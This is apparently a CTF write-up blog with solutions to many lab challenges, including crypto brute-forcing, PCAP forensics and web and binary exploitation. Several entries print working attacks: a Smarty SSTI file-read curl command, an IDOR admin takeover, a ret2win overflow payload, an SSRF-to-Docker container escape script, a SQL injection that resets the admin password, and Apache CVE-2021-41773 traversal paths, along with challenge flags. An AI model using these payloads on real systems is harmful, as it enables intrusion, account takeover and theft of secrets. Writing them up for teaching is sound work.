CTF Writeups

1337 Local CTF: Baby-AES — Known Plaintext → Tiny Keyspace

Sat, 27 Jun 2026 00:00:00 GMT

Baby-AES#

Challenge Context#

The challenge provided aes.py. The script reads the flag, uses it as an AES key padded with null bytes, encrypts a 16-byte zero block in ECB mode, and prints the ciphertext.

Reconnaissance#

The important part of the source was:

1
with open("flag.txt", "rb") as f:
2
    flag = f.read().strip()
3

4
key = flag + b"\x00" * (16 - len(flag))
5
cipher = AES.new(key, AES.MODE_ECB)
6
pt = b"\x00" * 16
7
ct = cipher.encrypt(pt)
8

9
print("len(flag): ", len(flag))
10
print("Ciphertext (hex):", ct.hex())

The output told us:

1
len(flag): 9
2
Ciphertext (hex): 489b02c7245f7d5b6221ba7bd7f85c29

Vulnerability / Core Idea#

The flag is the AES key. Because the flag length is 9 and the format is leet{...}, only three bytes are unknown:

1
leet{???}

This is not an AES break. The cryptographic mistake is turning a low-entropy, format-constrained secret into a symmetric key and revealing a known plaintext/ciphertext pair.

Exploitation#

For each candidate leet{XYZ}:

Pad it with seven null bytes to produce a 16-byte AES key.
Encrypt 00 * 16 under AES-ECB.
Compare the output to 489b02c7245f7d5b6221ba7bd7f85c29.

1
from Crypto.Cipher import AES
2
import itertools, string
3

4
target = bytes.fromhex("489b02c7245f7d5b6221ba7bd7f85c29")
5
pt = b"\x00" * 16
6
charset = string.ascii_letters + string.digits + "_!@#$%^&*()-+=[]{}|;:',.<>?/~`"
7

8
for a, b, c in itertools.product(charset, repeat=3):
9
    flag = f"leet{{{a}{b}{c}}}".encode()
10
    key = flag + b"\x00" * 7
11
    if AES.new(key, AES.MODE_ECB).encrypt(pt) == target:
12
        print(flag.decode())
13
        break

Flag#

1
leet{lol}

Lesson Learned#

Known plaintext plus a tiny keyspace turns strong primitives into a dictionary check. The primitive was fine; the key derivation was the bug.

Cover: Wallhaven xelyx3.

1337 Local CTF: baby overflow — Integer Overflow

Sat, 27 Jun 2026 00:00:00 GMT

baby overflow#

Challenge Context#

This was a small pwn challenge built around an integer overflow. The final state from the solve notes records the relevant arithmetic:

1
uint8_t value 250 + 16 = 266 % 256 = 10

Vulnerability / Core Idea#

The program used an 8-bit integer for a value that was later increased. In C-like semantics, an unsigned 8-bit integer wraps modulo 256:

1
250 + 16 = 266
2
266 mod 256 = 10

If the program expects the value to become 10, we can reach it with a larger-looking input because the type truncates it.

Exploitation#

The solve was to supply the value that triggers wraparound instead of trying to enter the target value directly:

1
input: 250
2
operation: +16
3
stored uint8_t result: 10

That satisfied the check and printed the flag.

Flag#

1
leet{M0W471N_M15r1_6H4D1_64N8_17174}

Lesson Learned#

Always reason about the storage type, not only the mathematical expression. Small integer types silently wrap unless the program checks bounds before arithmetic.

Cover: Wallhaven 3qwqld.

1337 Local CTF: BASIT — Apache Traversal → Encrypted ZIP → Nested Stego

Sat, 27 Jun 2026 00:00:00 GMT

BASIT#

Challenge Context#

BASIT was a network forensics challenge. The PCAP showed an attacker exploiting an internal Apache server and exfiltrating an encrypted archive.

Reconnaissance#

The traffic identified:

1
attacker: 10.0.0.66
2
victim:   10.0.0.10
3
server:   Apache/2.4.49 (Ubuntu)

Apache 2.4.49 is vulnerable to path traversal via CVE-2021-41773 when misconfigured.

Attack Chain#

1
Apache path traversal
2
  -> read /var/www/html/.env
3
  -> recover archive password
4
  -> download bocal.zip
5
  -> decrypt ZIP
6
  -> inspect PNG trailing data
7
  -> extract hidden ZIP
8
  -> recover flag from final image/text

Exploitation#

The traversal used the classic encoded path:

1
/icons/.%2e/%2e%2e/%2e%2e/

The attacker read sensitive files including:

1
/etc/passwd
2
/etc/hostname
3
/var/www/html/.env
4
/var/www/html/.htpasswd

The .env exposed an archive secret. That password decrypted bocal.zip. Inside, bocal.png contained data after the PNG IEND marker: another hidden ZIP. Extracting that second layer led to the final flag.

Nested structure:

1
bocal.zip
2
  -> bocal.png
3
      -> data after IEND
4
          -> hidden ZIP
5
              -> staff.txt / staff.png
6
                  -> flag

Flag#

1
leet{W1r3sh4rk_k1ws1_lh4dr4_1mz47a}

Lesson Learned#

Good PCAP forensics reconstructs the attacker’s path, not just the final artifact. Here the flag only made sense after following traversal, credential disclosure, archive extraction, and PNG stego layers.

Cover: Wallhaven yq8w5k.

1337 Local CTF: big brother — Reverse Engineering Hidden Session Logic

Sat, 27 Jun 2026 00:00:00 GMT

big brother#

Challenge Context#

big brother was a 500-point reverse-engineering challenge. The final session notes record the flag as submitted and accepted.

Evidence Preserved#

The local detailed reverse-engineering notes for this challenge were not retained in the workspace, but the solving session recorded the accepted flag:

1
big brother: leet{Gh4_r3S5et1w_se551oNs_34wtAN1_mSG_0pp0} — 500pts, submitted

Core Idea#

The flag text points to the intended behavior: reset or recover session/message state (r3S5et1w_se551oNs, mSG). The challenge likely hid the flag behind program state or session logic rather than a raw printable string.

A publish-quality version of this writeup needs the original reversing notes rebuilt from the binary in:

1
/home/lain/ctf/1337-local/challenges/rev/big-brother/

Flag#

1
leet{Gh4_r3S5et1w_se551oNs_34wtAN1_mSG_0pp0}

Lesson Learned#

Save the reverse-engineering trail as soon as the flag is accepted: tool output, offsets, decryption routine, and why the candidate was correct. The accepted flag alone is enough for an archive, but not enough for a strong public writeup.

Cover: Wallhaven qrjew7.

1337 Local CTF: Encrypted Callback — TLS 1.3 Decryption → PowerShell Malware

Sat, 27 Jun 2026 00:00:00 GMT

Encrypted Callback#

Challenge Context#

The challenge provided a PCAP/PCAPNG and sslkeylog.log. The traffic contained suspicious PowerShell activity over TLS on localhost port 8443.

Reconnaissance#

Important TLS details:

1
cipher suite: TLS_AES_256_GCM_SHA384 (0x1302)
2
server sends NewSessionTicket before HTTP responses
3
HTTP response application-data records start at sequence number 2

Those two details mattered: SHA-384 must be used for HKDF, and TLS record sequence numbers must account for NewSessionTicket records.

Attack Chain#

1
sslkeylog.log
2
  -> TLS 1.3 application-data decryption
3
  -> GET /stage1 response
4
  -> PowerShell -EncodedCommand
5
  -> AES-CBC key/IV
6
  -> decrypt /stage2.enc
7
  -> reverse telemetry transform
8
  -> flag

Exploitation#

Stage 1 was a Base64-encoded PowerShell downloader. Decoding it revealed:

1
AES key: 0123456789abcdef0123456789abcdef
2
AES IV:  abcdef0123456789

Stage 2 decrypted to logic that XORed the flag with Sup3rS3cr3t, converted the bytes to hex, reversed the hex string, and base64 encoded it before POSTing telemetry.

The telemetry value was:

1
{
2
  "machine_id": "DESKTOP-89A4B",
3
  "data": "RTQ4MTQxMjM4MTg1MDAyMDI1MTNBMUI1MzExMEMwNTEyNTMxMjAyNTQwOTA3NDUxMDFGMw=="
4
}

Decoding process:

1
import base64
2
blob = "RTQ4MTQxMjM4MTg1MDAyMDI1MTNBMUI1MzExMEMwNTEyNTMxMjAyNTQwOTA3NDUxMDFGMw=="
3
hex_reversed = base64.b64decode(blob).decode()
4
xored = bytes.fromhex(hex_reversed[::-1])
5
key = b"Sup3rS3cr3t"
6
flag = bytes(xored[i] ^ key[i % len(key)] for i in range(len(xored)))
7
print(flag.decode())

Flag#

1
leet{Waaaaa_tchhbaarklaah}

Lesson Learned#

TLS key logs do not remove all complexity. For TLS 1.3, the cipher-suite hash and record sequence numbers are part of the decryption state.

Cover: Wallhaven ly3gmr.

1337 Local CTF: holy bytes hh — Timing Side Channel

Sat, 27 Jun 2026 00:00:00 GMT

holy bytes hh#

Challenge Context#

The challenge provided a Python service that asks for a bit position. It converts the flag to a binary string and performs expensive work only when the selected bit is 1.

Reconnaissance#

The relevant code was:

1
from math import gcd
2

3
with open("flag.txt", "r") as f:
4
    flag = f.read()
5

6
while 1:
7
    mask = int(input("gimme ur mask > "))
8
    bits = ''.join(format(ord(c), '08b') for c in flag)
9
    for bit in bits[mask-1:mask]:
10
        if bit == '1':
11
            i = 1
12
            while gcd(i, 279557) == 1:
13
                i = i + 1
14
        else:
15
            pass

Show moreShow less

Vulnerability / Core Idea#

The branch for 1 takes measurably longer than the branch for 0. That turns the service into a bit oracle:

1
fast response  -> selected bit is 0
2
slow response  -> selected bit is 1

Exploitation#

Query bit positions from 1 upward, measure round-trip time, classify each bit, and decode every 8 bits as one byte.

1
import socket, time
2

3
s = socket.socket()
4
s.settimeout(30)
5
s.connect(("159.65.235.153", 4446))
6

7
bits = ""
8
for i in range(1, 500):
9
    s.recv(4096)
10
    start = time.perf_counter()
11
    s.send(f"{i}\n".encode())
12
    s.recv(4096)
13
    duration = time.perf_counter() - start
14
    bits += "1" if duration >= 0.17 else "0"
15

16
    flag = "".join(chr(int(bits[j:j+8], 2)) for j in range(0, len(bits)-7, 8))
17
    if "}" in flag:
18
        print(flag)
19
        break

Show moreShow less

Flag#

1
leet{wA7cH_ThEm_BiTs_4pp3ar_0ne_aftA_an0thA}

Lesson Learned#

Branch-dependent runtime is enough to leak secrets. If a secret controls whether expensive work happens, the network becomes an oracle.

Cover: Wallhaven gw55w7.

1337 Local CTF: intro to zk — Broken Fiat-Shamir Binding

Sat, 27 Jun 2026 00:00:00 GMT

intro to zk#

Challenge Context#

The service implements a Sigma-style proof of knowledge on secp256k1. The prover is supposed to prove knowledge of witness w where P = wG.

Reconnaissance#

The fatal function was the challenge generator:

1
def generate_challenge(self, R):
2
    response = requests.get("https://example.com/" + os.urandom(35).hex())
3
    data = response.text.encode()
4
    return bytes_to_long(hashlib.sha256(data).digest())

Vulnerability / Core Idea#

There are two bugs:

The challenge c does not depend on the commitment R.
example.com returns stable HTML for arbitrary paths, so c is predictable before committing.

That breaks soundness. We can choose a commitment that cancels the public key term.

Exploitation#

The verifier checks:

1
zG == R + cP

Because c is known ahead of time, choose:

1
R = -cP
2
z = 0

Then:

1
zG     = 0G       = O
2
R + cP = -cP + cP = O

The proof verifies without knowing w.

1
# After receiving public key P from the server:
2
c = sha256(example_com_html).digest_as_int()
3
R = negate(point_mul(c, P))
4
z = 0
5
# send R, then z

Flag#

1
leet{v3rY_9o0d_Bu7_juSt_so_u_kN0w_mod3rn_ZK_is_s0ME7hin9_3l53}

Lesson Learned#

Fiat-Shamir style challenges must be bound to the commitment and transcript. If the prover can know c before choosing R, they can program the equation instead of proving knowledge.

Cover: Wallhaven gwp2w3.

1337 Local CTF: July pool 2024 — Dangling Git Commits

Sat, 27 Jun 2026 00:00:00 GMT

July pool 2024#

Challenge Context#

The archive contained a 1337 piscine project repository. The visible files looked normal, but the flag was hidden in Git history rather than the working tree.

Reconnaissance#

The challenge title and project layout pointed at Git forensics. The key commands were:

Terminal window

1
unzip pool.zip
2
cd Exams42
3
find .git -type f | head
4
git fsck --lost-found
5
git log --all --oneline

Vulnerability / Core Idea#

Git stores objects even when commits are no longer reachable from a branch. If a secret was committed and then removed or orphaned, it may still exist as a dangling commit/blob.

Exploitation#

git fsck revealed dangling commits. Inspecting each commit recovered five backup secret parts. Combining the parts produced the flag.

Terminal window

1
git fsck --lost-found
2
for c in $(git fsck --no-reflogs 2>/dev/null | awk '/dangling commit/ {print $3}'); do
3
  git show --stat --patch "$c"
4
done

Flag#

1
leet{d4ngl1ng_c0mm1t5_4r3_1mp0rt4nt}

Lesson Learned#

Deleting a secret from the working tree does not delete it from Git history. In CTFs and in real incidents, always inspect unreachable commits and blobs.

Cover: Wallhaven k81776.

1337 Local CTF: MOL TAXI — Phishing PCAP → XOR Malware Layers

Sat, 27 Jun 2026 00:00:00 GMT

MOL TAXI#

Challenge Context#

The challenge provided a phishing email and a small PCAP. The email claimed to be an urgent invoice and pointed the victim to an encrypted payload.

Attack Chain#

1
phishing_email.eml
2
  -> invoice URL and decryption key
3
  -> PCAP HTTP response body
4
  -> XOR decrypt invoice.enc
5
  -> Python loader
6
  -> base64 + zlib payload
7
  -> embedded flag XORed with C2 config

Reconnaissance#

The email revealed:

1
URL: http://malicious.local/invoice.enc
2
key: Sup3rS3cr3tK3y

The PCAP contained one HTTP GET for /invoice.enc and a 485-byte binary response.

Exploitation#

First layer: repeated-key XOR with the email key produced Python code:

1
import base64, zlib
2
exec(zlib.decompress(base64.b64decode(b'eJxtUdtq...')))

Instead of executing it, decode it safely. The decompressed malware contained:

1
enc_flag = [47, 87, 58, 39, 62, 58, 58, 46, 57, 0, 19, 44,
2
            30, 37, 46, 51, 29, 93, 102, 112, 83, 50, 58, 56]
3
key = "C2_SERVER_READY_x99"

Flag recovery:

1
flag = ''.join(chr(enc_flag[i] ^ ord(key[i % len(key)])) for i in range(len(enc_flag)))
2
print(flag)

Flag#

1
leet{hlkk_Ai_awled_3ami}

Lesson Learned#

Do not execute malware loaders just because they are Python. Decode each layer statically and treat C2 configuration as likely key material.

Cover: Wallhaven xe86w3.

1337 Local CTF: new intra — IDOR → Staff Login → Admin Page

Sat, 27 Jun 2026 00:00:00 GMT

new intra#

Challenge Context#

The target was a Flask/Werkzeug intra-style portal with student login, staff login, profile editing, a dashboard, and admin-only pages.

Attack Chain#

1
Register student account
2
  -> PUT /api/profile/1 IDOR
3
  -> change admin bocal's password
4
  -> POST /api/staff as bocal
5
  -> GET /admin
6
  -> flag

Reconnaissance#

Key endpoints:

Endpoint	Purpose
`POST /api/register`	create student account
`POST /api/login`	student login
`POST /api/staff`	staff login
`PUT /api/profile/<id>`	profile update
`GET /admin`	admin page with flag
`GET /flag`	red herring; did not expose the final flag path

The important bug was that PUT /api/profile/<id> checked that the request had a valid session, but did not check that the session user owned <id>.

Vulnerability / Core Idea#

This is an IDOR / Broken Object Level Authorization issue:

1
authenticated user A can modify profile object B by changing the URL id

Admin users were enumerable. UID 1 was bocal, an admin account.

Exploitation#

Register a normal student account.
Use that student’s session cookie to update UID 1:

1
PUT /api/profile/1 HTTP/1.1
2
Host: 104.199.105.242:1337
3
Content-Type: application/json
4
Cookie: session=<student-session>
5

6
{"password":"REDACTED_TEST_PASSWORD"}

Authenticate through the staff endpoint, not the normal student endpoint:

1
POST /api/staff HTTP/1.1
2
Host: 104.199.105.242:1337
3
Content-Type: application/json
4

5
{"username":"bocal","password":"REDACTED_TEST_PASSWORD"}

Visit /admin with the staff session.

Flag#

1
leet{h4ck3d_b0c4l_v14_1d0r_m4ss_4ss1gn}

Lesson Learned#

AuthN is not AuthZ. It is not enough to verify that a user is logged in; every object-level update must verify ownership or role authorization.

Cover: Wallhaven og33jl.

1337 Local CTF: Notebook — Smarty SSTI → WAF Bypass → File Read

Sat, 27 Jun 2026 00:00:00 GMT

Notebook#

Challenge Context#

Notebook was a PHP web challenge using Smarty templates. A comment preview feature rendered user-controlled text through Smarty’s template engine.

Reconnaissance#

The vulnerable pattern was:

1
$tpl_string = "<h3>Comment Preview:</h3><p>{$text}</p>";
2
$preview = $smarty->fetch('string:' . $tpl_string);

User input became part of a string: template, so Smarty syntax inside the input was evaluated server-side.

Vulnerability / Core Idea#

This is Server-Side Template Injection (SSTI). Smarty’s {fetch} primitive can read files. The application tried to block dangerous strings with a WAF:

1
'flag', '/etc', '$smarty', 'base64', 'include', 'require', ...

The WAF matched substrings before Smarty evaluated the expression.

Exploitation#

A direct payload was blocked:

1
{fetch file="/flag.txt"}

The bypass was to concatenate the filename inside the template so the literal blocked word flag never appears in the HTTP request:

1
{fetch file="/fla"|cat:"g.txt"}

Reproduction:

Terminal window

1
curl --noproxy '*' -sk -G 'http://104.199.105.242:4242/' \
2
  --data-urlencode 'action=preview' \
3
  --data-urlencode 'text={fetch file="/fla"|cat:"g.txt"}'

Flag#

1
leet{sm4r7y_7pl_1nj3c710n_n0_w4f_c4n_s70p_m3}

Lesson Learned#

Blocklists fail against template languages because the language itself provides composition. Filter the capability, not the spelling.

Cover: Wallhaven yqmlmx.

1337 Local CTF: numbA thiri — CRT Reconstruction

Sat, 27 Jun 2026 00:00:00 GMT

numbA thiri#

Challenge Context#

The challenge converted the flag to an integer m, generated all primes below 105, and printed two things:

m // prod(primes)
A list of (m % p, p) residues for each small prime.

Reconnaissance#

The source logic was:

1
m = bytes_to_long(flag)
2
primes = []
3
sieve()
4
residues = [(m % p, p) for p in primes]
5
print(m // math.prod(primes))
6
print(residues)

Vulnerability / Core Idea#

The residues reveal m mod P, where P is the product of all listed primes. The quotient reveals the high part of m:

1
m = quotient * P + (m mod P)

So the problem is a direct Chinese Remainder Theorem reconstruction.

Exploitation#

1
import math
2
from Crypto.Util.number import long_to_bytes
3

4
quotient = 100785
5
residues = [(0, 2), (0, 3), (4, 5), (4, 7), ...]
6

7
P = math.prod(p for _, p in residues)
8
x = 0
9
for r, p in residues:
10
    Mi = P // p
11
    x = (x + r * Mi * pow(Mi, -1, p)) % P
12

13
m = quotient * P + x
14
print(long_to_bytes(m))

The recovered bytes include a trailing newline in the original flag file, but the submitted flag is the text without the newline.

Flag#

1
leet{R3al_F149_HH}

Lesson Learned#

If you publish enough modular residues plus the quotient by the modulus product, you have published the whole integer.

Cover: Wallhaven 8gk26o.

1337 Local CTF: ret2win — Token Validation → Return Address Control

Sat, 27 Jun 2026 00:00:00 GMT

ret2win#

Challenge Context#

The binary accepted a token, validated fields inside it, then read enough data into a fixed-size stack buffer to overwrite the saved return address.

Reconnaissance#

The exploit notes identified:

1
buffer size: 0x50 bytes
2
saved RBP:   8 bytes
3
offset to RIP: 88 bytes
4
win():       0x401406

The token also had structural checks:

1
[0-3]   uint32 magic = 0xdeadc0de
2
[4]     byte = 0x41
3
[7-10]  uint32 xor = 0xdeadc0de ^ 0x41
4
[11-22] "moul_cyber\x00\x00"
5
[23-26] current timestamp

Vulnerability / Core Idea#

The program combined input validation with an unsafe stack copy. A valid token got past the checks, but the same input could continue past the buffer and control RIP.

Exploitation#

The payload layout:

1
valid token fields
2
padding up to 88 bytes
3
win() address as little-endian QWORD

1
import struct, time
2

3
WIN = 0x401406
4
OFFSET = 88
5
payload  = struct.pack('<I', 0xdeadc0de)
6
payload += b'\x41'
7
payload += b'\x00\x00'
8
payload += struct.pack('<I', 0xdeadc0de ^ 0x41)
9
payload += b'moul_cyber\x00\x00'
10
payload += struct.pack('<I', int(time.time()))
11
payload += b'\x00\x00\x00'
12
payload += b'B' * (OFFSET - len(payload))
13
payload += struct.pack('<Q', WIN)

The delegate notes also mention a stack-alignment variant that jumps to win+1 (0x401407) to skip push rbp if needed.

Flag#

1
leet{6H4_8CHW1Y4_311K_M41K_Z3r84N}

Lesson Learned#

Passing validation is not enough to make input safe. If the copy into the destination buffer is still unbounded, the validated token becomes the prefix of an exploit payload.

Cover: Wallhaven 5y7e99.

1337 Local CTF: shellcode — open/read/write /flag.txt

Sat, 27 Jun 2026 00:00:00 GMT

shellcode#

Challenge Context#

The service accepted raw shellcode and executed it. The goal was to read /flag.txt and write it to stdout.

Core Idea#

Use standard x86-64 Linux syscalls:

1
open("/flag.txt", O_RDONLY)
2
read(fd, stack, 0x100)
3
write(1, stack, n)
4
exit(0)

The main engineering constraint was avoiding bad bytes in the code section.

Exploitation#

The shellcode used the jmp-call-pop pattern so the path string could live inline without hardcoded addresses:

1
jmp string_loader
2
main:
3
  pop rdi          ; rdi -> "/flag.txt"
4
  xor esi, esi     ; flags = O_RDONLY
5
  mov al, 2        ; SYS_open
6
  syscall
7
  ... read/write ...
8
string_loader:
9
  call main
10
  db "/flag.txt", 0

Null-byte avoidance tricks:

xor reg, reg instead of mov reg, 0
mov dh, 1 instead of mov rdx, 0x100
inc rdi instead of mov rdi, 1
keep the string terminator in data, not as an immediate in code

Flag#

1
Leet{5h3llc0d3_15_4w350m3}

Lesson Learned#

For shellcode challenges, the syscall sequence is usually simple. The real work is byte-level engineering: address independence, bad-byte avoidance, and knowing exactly how input is terminated.

Cover: Wallhaven w5m62x.

1337 Local CTF: tbarkallah 3lek awldi katchfi lghalil — Rev First Blood

Sat, 27 Jun 2026 00:00:00 GMT

tbarkallah 3lek awldi katchfi lghalil#

Challenge Context#

This was a 500-point reverse-engineering challenge by Jst3r. The challenge description was:

1
nsit nasi7a d lwalid

The final solve was accepted as first blood.

Evidence Preserved#

The browser submission showed Correct, and the session recorded:

1
tbarkallah 3lek awldi katchfi lghalil:
2
leet{Y4r81_yrj33_1t7553b_l0g_71m3_Dl0ckScr33n_fL1NuX}

Core Idea#

The exact reversing path was not preserved as a local solution.md. The accepted flag text references log time and lock screen behavior, which likely maps to the binary’s validation logic.

For a public post, rebuild the technical trail from:

1
/home/lain/ctf/1337-local/challenges/rev/tbarkallah/

Minimum reconstruction checklist:

Terminal window

1
file extracted/chall
2
strings -a extracted/chall
3
objdump -d -M intel extracted/chall

Then identify the validation function and show exactly how the flag is derived.

Flag#

1
leet{Y4r81_yrj33_1t7553b_l0g_71m3_Dl0ckScr33n_fL1NuX}

Lesson Learned#

A first blood still needs a reproducible explanation. Capture the derivation immediately, not only the final accepted flag.

Cover: Wallhaven gw52yd.

1337 Local CTF: The BOSS — .NET Dropper → AES Payload → Rolling XOR

Sat, 27 Jun 2026 00:00:00 GMT

The BOSS#

Challenge Context#

The challenge provided invoice.exe, a suspicious .NET attachment. Dynamic analysis was misleading because of anti-debug and anti-sandbox checks.

Reconnaissance#

Static analysis showed:

1
anti-debug: Debugger.IsAttached
2
anti-sandbox: Thread.Sleep timing check
3
embedded resource: enc_payload.bin
4
crypto: AES-256-CBC, PaddingMode.None

The key was built by string concatenation:

1
"Sphynx" + "MalwareKey" + "1234567890123456"
2
= SphynxMalwareKey1234567890123456

The IV was:

1
InitialVector123

Attack Chain#

1
invoice.exe
2
  -> recover AES key/IV from IL
3
  -> decrypt enc_payload.bin
4
  -> Payload.dll
5
  -> inspect Execute()
6
  -> rolling XOR decode static byte array

Exploitation#

The decrypted DLL built the flag but never printed it. Execute() initialized a 38-byte static array, then decoded it with a rolling XOR key:

1
key starts at 90 (0x5a)
2
for each byte:
3
    char = encoded[i] ^ key
4
    key = (key + 7) mod 256

Encoded bytes:

1
36040d1b0d13b7ffcdeb93c1c286dfb7fbe1b6808bd9988c367b23486c165a00483279213120

Python extraction:

1
data = bytes.fromhex("36040d1b0d13b7ffcdeb93c1c286dfb7fbe1b6808bd9988c367b23486c165a00483279213120")
2
key = 90
3
out = []
4
for b in data:
5
    out.append(b ^ key)
6
    key = (key + 7) % 256
7
print(bytes(out).decode())

Flag#

1
leet{n3t_r3fl3ct10n_m4lw4r3_r3v3rs1ng}

Lesson Learned#

The payload’s runtime output was decoy text. In malware-style CTFs, the flag often exists only as a constructed string in memory; static IL analysis can be cleaner than executing the sample.

Cover: Wallhaven 7j38je.

PearlCTF 2025 — Tic-Tac-Toe: SSRF to Docker Socket → Container Escape

Sat, 08 Mar 2025 00:00:00 GMT

alt text

My Solve#

1
import requests
2
import re
3

4
burp0_url = "https://tic-tac-toe-2be65176aac79f13.ctf.pearlctf.in/"
5
burp0_headers = {
6
    "User-Agent": "curl/8.12.1",
7
    "Accept": "*/*",
8
    "Content-Type": "application/json"
9
}
10

11
# First deploy a container using the /deploy endpoint
12

13
# Get the container ID from /info endpoint
14
burp0_json = { "state": "_________", "api": {"http://": "http://127.0.0.1:2375/info#"}, "action": "get" }
15

16
r = requests.post(burp0_url, headers=burp0_headers, json=burp0_json)
17
id = r.json()['body']['ContainerdCommit']['ID']
18
# id = "1d2fcd2b5eb60213efaac10fa38ed96e73c6dca5dbc6f6ffaf34144b2621fe26"
19

20
# install docker and run a container with a volume mount to read the flag
21
# command = "wget https://download.docker.com/linux/static/stable/x86_64/docker-20.10.18.tgz && tar -xvf docker-20.10.18.tgz && mv docker/* /usr/local/bin/ && chmod +x /usr/local/bin/docker"
22
# command = "docker -H 172.17.0.1:2375 run -tid -v /:/mnt/ --name flast102 alpine"
23

24
# read the flag
25
command = "docker -H 172.17.0.1:2375 exec flast102 sh -c 'cat /mnt/flag/flag.txt'"
26

27
# Send the first POST request to execute the command
28
burp0_json = {
29
    "action": "post",
30
    "api": {"http://": "http://127.0.0.1:2375/containers/{}/exec#".format(id)},
31
    "AttachStderr": True,
32
    "AttachStdin": False,
33
    "AttachStdout": True,
34
    "Cmd": ["sh", "-c", command],
35
    "state": "_________",
36
    "Tty": True
37
}
38

39
print("Sending first POST request...")
40
response = requests.post(burp0_url, headers=burp0_headers, json=burp0_json)
41
#print(f"Response status code: {response.status_code}")
42
#print(f"Response body: {response.text}")
43

44
try:
45
    response_json = response.json()
46
    id = response_json["body"]["Id"]
47
    print(f"Extracted ID: {id}")
48
except (KeyError, ValueError) as e:
49
    print(f"Error extracting ID: {e}")
50
    exit(1)
51

52
# Send the second POST request to start the command
53
burp0_json = {
54
    "action": "post",
55
    "api": {"http://": f"http://127.0.0.1:2375/exec/{id}/start#"},
56
    "Detach": False,
57
    "state": "_________",
58
    "Tty": True
59
}
60

61
print("Sending second POST request...")
62
response = requests.post(burp0_url, headers=burp0_headers, json=burp0_json)
63
#print(f"Response status code: {response.status_code}")
64
#print(f"Response body: {response.text}")
65

66
# print(response.text)
67
try:
68
    response_json = response.json()
69
    body = response_json.get('body', '')
70

71
    ansi_escape = re.compile(r'\x1B[@-_][0-?]*[ -/]*[@-~]')
72
    clean_body = ansi_escape.sub('', body)
73

74
    print("Final response JSON:")
75
    if "got 'list'" in clean_body:
76
        print(response_json)
77
    else:
78
        print(clean_body)
79
except ValueError as e:
80
    print(f"Error parsing final response JSON: {e}")

Show moreShow less

Spooky Query Leaks (USC-CTF 2024): SQLite3 SQL Injection via UPSERT

Sat, 02 Nov 2024 00:00:00 GMT

Author: RJCyber

The website initially presented a basic login and registration form.

image

While testing the application with various inputs, I discovered a potential vuln. Entering a simple payload like hello' caused the /register route to respond with a 500 Internal Server Error.

Possible SQLI vulnerability hmm, suggesting that unsanitized user inputs could be directly inserted into the SQL query.

Code Review#

Upon reviewing the source code, I confirmed the SQL injection vulnerability in the /register route:

image

Vulnerable code

1
cursor.execute(f"INSERT INTO users (username, password) VALUES ('{username}', '{generate_password_hash(password)}')")

In this snippet, user inputs (username and password) are directly embedded in the SQL query string, without parameterization or input sanitization, allowing for malicious SQL command injection.

Flag Location#

Upon further inspection, I found that the flag is accessible only through the admin account. The /dashboard route contains the logic for displaying the flag:

1
@app.route('/dashboard')
2
def dashboard():
3
    if 'username' not in session:
4
        return redirect('/login')
5

6
    username = session['username']
7
    cursor = get_db().cursor()
8

9
    if username == 'admin':
10
        cursor.execute("SELECT flag FROM flags")
11
        flag = cursor.fetchone()['flag']
12
        return render_template('dashboard.html', username=username, flag=flag)
13

14
    return render_template('dashboard.html', username=username, flag=None)

How the Flag Is Displayed#

Admin Privilege Requirement: If the logged-in user is admin, the application queries the flags table to retrieve the flag.
```
1
cursor.execute("SELECT flag FROM flags")
2
flag = cursor.fetchone()['flag']
```
Conditional Display: The flag is conditionally rendered in the HTML template:
image

To access the flag, we need to log in as the admin user. Since we don’t know the admin password, we can utilize SQL injection to manipulate authentication and access the dashboard as the admin.

Exploitation#

Through research, I discovered a method in SQLite3 using ON CONFLICT DO UPDATE. This allows us to update the admin password directly during registration if the username already exists.

SQLite3

https://www.sqlite.org/lang_upsert.html

We can use the following payload as the username during registration:

1
admin', 'meow') ON CONFLICT(username) DO UPDATE SET password = 'achuxer';--

How It Works:

The first part (admin', 'meow')) closes the INSERT statement.
ON CONFLICT(username) triggers when trying to insert an existing user.
The password is updated to achuxer.
;-- comments out the rest of the SQL query that follow

Solution Script: solve.py#

The password is encrypted

In this context the password is hashed using a function generate_password_hash so the actual password stored in the database will not be in plain text.

1
#!/usr/bin/env python3
2
import requests
3
from werkzeug.security import generate_password_hash
4

5
url = 'https://usc-spookyql.chals.io/1ef2ec1d-b8ba-44ec-8f5d-7d07ebcd598e'
6

7
def register_user(payload):
8
    response = requests.post(url + '/register', data={'username': payload, 'password': 'password'})
9
    return response
10

11
def login_user(username, password):
12
    response = requests.post(url + '/login', data={'username': username, 'password': password})
13
    return response
14

15
payload = f"""admin', 'meow') ON CONFLICT(username) DO UPDATE SET password = '{generate_password_hash('achuxer')}'; --"""
16

17
response = register_user(payload)
18
print("[*] Response code: ", response.status_code)
19

20
print("[*] Logging in as admin")
21
response = login_user('admin', 'achuxer')
22
print(response.text)

Show moreShow less

After executing this, we can Get the Flag.

FLAG: CYBORG{Wh4t_h4pp3n3d_t0_my_p4ssw0rd!}

Topology (HackTheBox): LaTeX Injection → Local File Read

Fri, 01 Mar 2024 00:00:00 GMT

JWT - Unsecure File Signature (Root-Me): JWT Algorithm Confusion Attack

Tue, 20 Feb 2024 00:00:00 GMT

banner

Statement#

1
A previous Root Me administrator is trying to replicate the website after being banned for sharing
2
challenge solutions.
3

4
Try to find out if he is hiding any other flags on his new website.

Web-View#

web-view

I’m having difficulty deciphering the location of Buttons on this website.

Upon inspecting the page’s source code, I discovered certain endpoints that seem intriguing.

1
/admin
2
static/challs/htmllecture.html
3
static/challs/irc.html
4
static/challs/obfu6.html
5
static/https://www.youtube.com/watch?v=ZYrmrflWBmY
6
static/challs/samboxv5.html

/admin#

Upon accessing the ‘admin’ endpoint at http://challenge01.root-me.org:59081/admin, I encountered an ‘Unauthorized’ error.

1
{"Unauthorized":"You are not admin !"}

burp#

I attempted to intercept the request using Burp in order to uncover more information.

Burp-request

It appears that the situation involves JWT (JSON Web Tokens).

To gain a clearer understanding, I searched for information on jwt.io to access helpful visualizations and explanations.

JWT.IO #

jwt-io

While encoding the JWT, I observed that it utilizes the HS256 (HMAC_SHA256) algorithm along with a “kid” (Key ID) parameter.

The “kid” (key ID) claim is a string that signifies the key responsible for digitally signing the JWT.

If you’re interested in delving deeper into attacks involving the “kid” parameter in JWTs, you can find more information here: kid-parameter

Afterwards, I proceeded to modify the JWT by signing it with a particular secret key and conducting attacks on the JWT “kid” header, such as SQL injection and OS injection. Eventually, I identified a path traversal vulnerability in the “kid” header. I attempted to alter the “kid” header to “/dev/null” and sign the JWT with an empty secret key.

empty-sign

path-traversal

However, a complication arose: there seems to be a replace function or a similar mechanism in place that eliminates our ”../” sequences.

